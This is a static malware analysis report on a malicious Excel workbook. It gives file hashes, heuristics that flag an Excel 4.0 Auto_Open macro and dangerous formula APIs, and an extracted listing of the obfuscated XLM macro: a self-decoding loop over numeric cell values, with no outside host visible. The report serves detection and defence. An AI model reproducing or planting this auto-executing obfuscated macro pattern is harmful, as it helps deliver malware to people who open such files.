Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 48749395b1d1918a…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-27 11:38:07 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: c4a9f531e96a4e7ea94cf3ec6c55daa0 SHA-1: 0596c5e073cac45be8a93c4ba7862f33c7e54e53 SHA-256: 48749395b1d1918adde10e7320a3acde097c5d4eee8efe9a78ba812598ce895d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6971 bytes
SHA-256: dc9fd2f172e3e9ba9ce77f0ced3829a04119feedb446c49013faf4aa40f1839e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  BPxDrKGWcco
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F173 
' 0018     21 LABEL : Cell Value, String Constant - CAzsSu len=0 
' 0018     26 LABEL : Cell Value, String Constant - FkIPsWMlFKk len=0 
' 0018     24 LABEL : Cell Value, String Constant - HGoLTghjt len=0 
' 0018     27 LABEL : Cell Value, String Constant - IKRuTIrZfOJX len=0 
' 0018     23 LABEL : Cell Value, String Constant - jIzfyqvA len=0 
' 0018     23 LABEL : Cell Value, String Constant - mkqZNshK len=0 
' 0018     24 LABEL : Cell Value, String Constant - MrkzTqRuE len=0 
' 0018     21 LABEL : Cell Value, String Constant - NoZtGO len=0 
' 0018     21 LABEL : Cell Value, String Constant - pcFuhW len=0 
' 0018     20 LABEL : Cell Value, String Constant - qSfXS len=0 
' 0018     23 LABEL : Cell Value, String Constant - qUmNlgux len=0 
' 0018     27 LABEL : Cell Value, String Constant - RgYylIOmbIOa len=0 
' 0018     24 LABEL : Cell Value, String Constant - rZJfcUcGj len=0 
' 0018     21 LABEL : Cell Value, String Constant - TBrGrb len=0 
' 0018     22 LABEL : Cell Value, String Constant - TdqZQMh len=0 
' 0018     23 LABEL : Cell Value, String Constant - TwRbgzZx len=0 
' 0018     25 LABEL : Cell Value, String Constant - uaFouvQStp len=0 
' 0018     21 LABEL : Cell Value, String Constant - uwKgJI len=0 
' 0018     23 LABEL : Cell Value, String Constant - zHRWABuN len=0 
' 0018     27 LABEL : Cell Value, String Constant - zptlSgIUIjmo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  BPxDrKGWcco,Q74,"",805.00000000000000000000
'  BPxDrKGWcco,Q75,"",462.00000000000000000000
'  BPxDrKGWcco,Q76,"",365.00000000000000000000
'  BPxDrKGWcco,Q77,"",802.00000000000000000000
'  BPxDrKGWcco,F78,"SET.NAME("FkIPsWMlFKk",0+VALUE("0"))",""
'  BPxDrKGWcco,Q78,"",-995.00000000000000000000
'  BPxDrKGWcco,Q79,"",-423.00000000000000000000
'  BPxDrKGWcco,F81,"SET.NAME("MrkzTqRuE",FkIPsWMlFKk)",""
'  BPxDrKGWcco,F85,"SET.NAME("TBrGrb",FkIPsWMlFKk)",""
'  BPxDrKGWcco,F89,"SET.NAME("rZJfcUcGj",COUNTA(qSfXS))",""
'  BPxDrKGWcco,F94,"SET.NAME("zHRWABuN",COUNTA(uwKgJI))",""
'  BPxDrKGWcco,F98,[],""
'  BPxDrKGWcco,F101,"SET.NAME("NoZtGO","")",""
'  BPxDrKGWcco,F103,"MrkzTqRuE",""
'  BPxDrKGWcco,F105,"SET.NAME("jIzfyqvA",HLOOKUP("*",qSfXS,MrkzTqRuE,FALSE))",""
'  BPxDrKGWcco,F110,"zptlSgIUIjmo",""
'  BPxDrKGWcco,F112,"SET.NAME("pcFuhW",FkIPsWMlFKk)",""
'  BPxDrKGWcco,F117,[],""
'  BPxDrKGWcco,F121,"pcFuhW",""
'  BPxDrKGWcco,F126,"TdqZQMh",""
'  BPxDrKGWcco,F130,"TwRbgzZx",""
'  BPxDrKGWcco,F135,"mkqZNshK",""
'  BPxDrKGWcco,F140,"SET.NAME("qUmNlgux",VALUE(HLOOKUP("*",uwKgJI,mkqZNshK,FALSE)))",""
'  BPxDrKGWcco,F143,"CAzsSu",""
'  BPxDrKGWcco,F145,"NoZtGO",""
'  BPxDrKGWcco,F149,"TBrGrb",""
'  BPxDrKGWcco,F152,NEXT(),""
'  BPxDrKGWcco,F155,"IKRuTIrZfOJX",""
'  BPxDrKGWcco,F157,[],""
'  BPxDrKGWcco,F162,"uaFouvQStp",""
'  BPxDrKGWcco,F167,NEXT(),""
'  BPxDrKGWcco,F169,RETURN(),""
'  BPxDrKGWcco,F200,"SET.NAME("HGoLTghjt",F78)",""
'  BPxDrKGWcco,F202,"qSfXS",""
'  BPxDrKGWcco,F207,"SET.NAME("uwKgJI",R64C15)",""
'  BPxDrKGWcco,F210,"SET.NAME("uaFouvQStp",218)",""
'  BPxDrKGWcco,F215,"SET.NAME("RgYylIOmbIOa",6)",""
'  BPxDrKGWcco,F217,HGoLTghjt(),""
'  BPxDrKGWcco,F218,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.